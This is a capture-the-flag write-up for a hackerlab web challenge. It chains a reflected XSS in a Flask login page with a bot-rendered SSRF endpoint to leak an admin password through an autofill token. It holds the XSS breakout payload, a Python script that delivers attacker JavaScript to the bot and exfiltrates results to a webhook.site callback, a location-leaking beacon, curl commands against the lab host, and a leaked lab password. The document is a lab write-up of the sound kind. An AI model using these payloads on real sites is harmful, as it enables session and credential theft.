Бета-панель (Beta Panel)
Бета-панель (Beta Panel)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-05 | Status: Solved Techniques: admin_password_theft_via_xss, bot_appended_secret_parameter, credential_autofill_token_disclosure, reflected_xss_in_js_string_context, ssrf_renders_in_headless_bot
Summary
Task: Flask 'beta panel' with reflected XSS in /login?error= (JS-string context) and a blind SSRF /healthcheck that is actually rendered by a HeadlessChrome admin bot. Solution: the bot carries a constant credential-autofill token &s=; requesting /login?s=TOKEN pre-fills the admin username/password into the form value= attributes, leaking admin creds to log in and read /admin.
Бета-панель (Beta Panel) — hackerlab
Description
Сайт находится в стадии доработки, доступен только минимальный функционал. Некоторые разделы и возможности пока недоступны, или доступны не всем.
English summary: A Flask site "under construction" exposes only minimal functionality; some sections are unavailable, or available "not to everyone" (role-gated). The goal is to reach the admin-only area and read the flag. The intended path chains a reflected XSS in the login page with a HeadlessChrome admin bot that carries a credential-autofill token, ultimately leaking the admin password.
Recon & Attack Surface
Flask app (Werkzeug 3.1.3, Python 3.11.6). Routes:
| Route | Method | Behavior |
|---|---|---|
/ | GET | Public home with Login/Register nav |
/login | GET/POST | Login form; POST authenticates |
/register | POST | Creates a user, redirects to /login |
/profile | GET (auth) | Shows "Status: User" |
/admin | GET (auth) | Normal user => 403; unauthenticated => 302 /login |
/healthcheck | GET/POST (auth) | SSRF feature |
/logout | GET | Clears session |
| |
Everything else 404. No robots.txt, no Werkzeug debug console.
- Session cookie is a Flask signed cookie holding
{"user_id": N}(a freshly registered user got{"user_id":2}). - The
adminusername already exists — registeringadminreturnsUser already exists— and corresponds touser_id=1.
Vulnerability 1 — Reflected XSS in /login?error= (JS string context)
The login page injects the error query parameter into an inline script:
html read-only • copy allowed<script> const error = "<INJECTED>"; if (error) { document.getElementById('error').innerHTML = error; ... } </script>
The value is not escaped inside the JS string. Breaking out of the string with a " then closing the statement and commenting out the trailing quote gives arbitrary JS:
/login?error=";<JS>//
renders as:
js read-only • copy allowedconst error = "";<JS>//";
and <JS> executes. (The username on /profile is HTML-escaped and Jinja does not evaluate {{7*7}}, so there is no stored XSS / SSTI there.)
Vulnerability 2 — "Blind" SSRF in /healthcheck rendered by a HeadlessChrome admin bot
/healthcheck shows a form with a hidden default url=http://127.0.0.1:8000/healthcheck; POST url=... (form-encoded). The response is only {"result":"OK"} or {"result":"Error"} — apparently blind.
- Filter: the parsed authority host must be exactly
127.0.0.1and port8000.localhost,0.0.0.0,[::1], decimal IP, and all external hosts =>Error. Userinfo/@tricks and host-confusion all fail (the host must truly parse to127.0.0.1:8000). Raw external OOB to webhook.site never landed. - Key discovery: the submitted
urlis opened by a real HeadlessChrome bot (User-Agent: HeadlessChrome/114.0.5735.133). Sourl=http://127.0.0.1:8000/login?error=<XSS>makes the bot execute our JS on originhttp://127.0.0.1:8000. The earlier solver hint "ssrf не рендерил xss-ки, на коллаборатор стучало" was misleading: the SSRF does render — the OOB hits came from the bot's browser fetches.
Investigation Narrative
Using the XSS-in-bot primitive (see xss.py), we probed what the bot can do:
- The bot renders JS. Submitting
url=http://127.0.0.1:8000/login?error=";<beacon>//produced a callback at webhook.site ~10–20s later, confirming JS execution in a real browser. - The bot is fully UNAUTHENTICATED.
document.cookieis empty (HttpOnly session);fetch('/admin'|'/profile'|'/healthcheck', {credentials:'include'})and an<iframe>load all returned 302 ->/login(verified by exfiltrating status/body to webhook.site). So XSS-in-bot does not directly grant the admin cookie or the admin page. - Internal scan from the bot: only
127.0.0.1:8000is alive. Ports 80/3001/5000/8080/9000, docker gateways, and service names all => "Failed to fetch". No/documents,/docs,/user/<id>,/creds,/api/*(all 404) — unlike the related "Museum" challenge. - The pivotal clue — a constant
&s=token. Readinglocation.hrefinside the XSS revealed the bot always navigates toOUR_URL + "&s=0R35B9F65M5B". The value is constant across every submitted URL (not an HMAC of the URL). The bot is carrying a "remember-me"/autofill token, analogous to the secret-appended-to-URL pattern in TJCTF "chained".
Dead Ends (kept for learning value)
- Flask session forgery. Brute-forced
SECRET_KEYwithflask-unsignoverrockyou.txt(~14.3M attempts) and a common-10k list — FAILED. The server validates signatures properly. Forgery is dead. - No internal creds page. Unlike "Museum", there is no
/documents//docspage the bot could read to leak admin credentials. - No SQLi / JSON injection. Login/register do not 500 on
"or\(unlike "Bug Bounty-code"); mass assignment on/register(is_admin/role/admin/user_id/status) is ignored; there is no/editendpoint. son/admindoes nothing; it is not header auth, not the FlaskSECRET_KEY, not the admin password directly.
The Win — Credential-Autofill Token Disclosure
The constant s=0R35B9F65M5B is a credential-autofill / remember-me token. Requesting:
GET /login?s=0R35B9F65M5B
makes the server render the login form with the admin credentials pre-filled into the input value= attributes:
html read-only • copy allowed<input ... name="username" value="admin" ...> <input type="password" name="password" value="voZ6iXvRkn4DGkWR" ...>
Intended chain: the admin bot, carrying &s=0R35B9F65M5B, lands on /login; the form autofills the admin password into the password field; our reflected XSS reads document.querySelector('[name=password]').value and exfiltrates it. Practical shortcut once s is known: the autofilled values are in the server response itself — just read the value= attributes directly (no XSS needed at that point).
Exploit
bash read-only • copy allowed# 1) Leak admin creds via the autofill token (recovered from the bot's appended &s=) curl 'http://62.173.140.174:16087/login?s=0R35B9F65M5B' # => <input name="username" value="admin"> # <input name="password" value="voZ6iXvRkn4DGkWR"> # 2) Log in as admin curl -c j -d 'username=admin&password=voZ6iXvRkn4DGkWR' http://62.173.140.174:16087/login # => Set-Cookie: session=... (decodes to {"user_id":1}; /profile shows "Status: Admin") # 3) Read the admin page curl -b j http://62.173.140.174:16087/admin # => <div class="flag">CODEBY{REDACTED}</div>
XSS-in-bot tooling (reproduction aid)
xss.py reads JS from stdin, substitutes the literal OOB with a webhook.site base URL, wraps it as ";<JS>//, and submits it via POST /healthcheck as url=http://127.0.0.1:8000/login?error=<encoded>. The bot executes the JS ~10–20s later; read callbacks at https://webhook.site/token/<token>/requests.
python read-only • copy allowed#!/usr/bin/env python3 import sys, urllib.parse, requests BASE = "http://62.173.140.174:16087" COOKIE = {"session": "<your_session_cookie>"} OOB = "https://webhook.site/<your-token>" def submit(js): payload = '";' + js + '//' # break out of: const error = "<HERE>"; enc = urllib.parse.quote(payload, safe='') target = f"http://127.0.0.1:8000/login?error={enc}" r = requests.post(f"{BASE}/healthcheck", cookies=COOKIE, data={"url": target}, timeout=25) print("submit:", r.text.strip()) if __name__ == "__main__": js = sys.stdin.read().replace("OOB", OOB) submit(js)
Caveat: payloads that do many sequential await fetch to dead hosts can exceed the bot's timeout before the final beacon fires — send the beacon early and keep payloads short. A handy probe is new Image().src='OOB/?h='+encodeURIComponent(location.href) to reveal the bot's appended &s= token.
Related CTF Writeup Writeups
20260331_hackerlab_museum— XSS bot reads an internal page holding admin creds, then admin login ->/adminflag (same author/IP family).20260515_tjctf_chained— secret token appended to a bot-visited URL (the&s=pattern).20260502_hackerlab_bug_bounty_code— JSON injection /is_adminmass-assignment variant (ruled out here).20260309_fyrkbomb_tetris— related login-XSS / reflected-context technique.